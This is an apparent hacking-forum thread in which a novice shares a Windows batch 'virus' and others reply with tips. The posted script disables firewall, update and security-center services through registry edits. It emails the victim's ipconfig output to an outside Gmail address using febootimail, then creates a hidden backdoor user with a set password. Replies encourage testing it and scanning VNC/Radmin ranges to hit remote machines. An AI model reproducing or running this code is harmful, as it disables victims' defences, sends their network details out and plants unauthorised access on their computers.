Hack Forums

Full Version: My first little virus (batch in a programming language)
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Pages: 1 2 3
Ive been experimenting with batch programming for a while but then decided that, to be more secretive, I should make the virus with a programming language (.exe). This is what I have to far:

(this is a batch program that the .exe makes, runs then deletes)

Code:
cls
@echo off
stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSharedAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswuauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsvc]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
ipconfig /all >info.txt
febootimail -FROM 127.0.0.1 -TO haxor.much@gmail.com -ATTACH info.txt
MSG "Victims IP is inside file attatchment info.txt"
del info.txt
net user System666 youhavebeenhacked /add /active:yes
echo Windows Registry Editor Version 5.00>win.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>win.reg
echo "System666"=dword:00000000>>win.reg
REGEDIT /S win.REG
DEL /Q win.REG
cls

As you can see I use another app called febootimail that I will get to run when I pack all my .exe files.

The code basically diables firewall and security center services echoes ipconfig /all to a file which is sent to me via email (with febootimail) then it creates a hidden user by the name of System666 with the password youhavebeenhacked.

If there are any mistakes please tell me, Im just learning virus making :)
I'm not familiar with the net user command anymore. Does it automatically add users to the admin group? If not, you could still do that in your file.
Im pretty sure it does, I havent actually tested this virus because Im not sure how to do it without killing my box.
Nice find a way to test then get back to me on it
i tested it on my computer but it didn't kill my box either.
Will do
Scan some VNC/Radmin ranges, and try them remotly..
kool iv copied and pasted the code and saved it as "virus (real, do NOT run)".exe and i put it in an archive just incase i double click it accidently or my siblings go on it.
spana Wrote:kool iv copied and pasted the code and saved it as "virus (real, do NOT run)".exe and i put it in an archive just incase i double click it accidently or my siblings go on it.

It won't work.
i gotta make it .bat?
Pages: 1 2 3
Reference URL's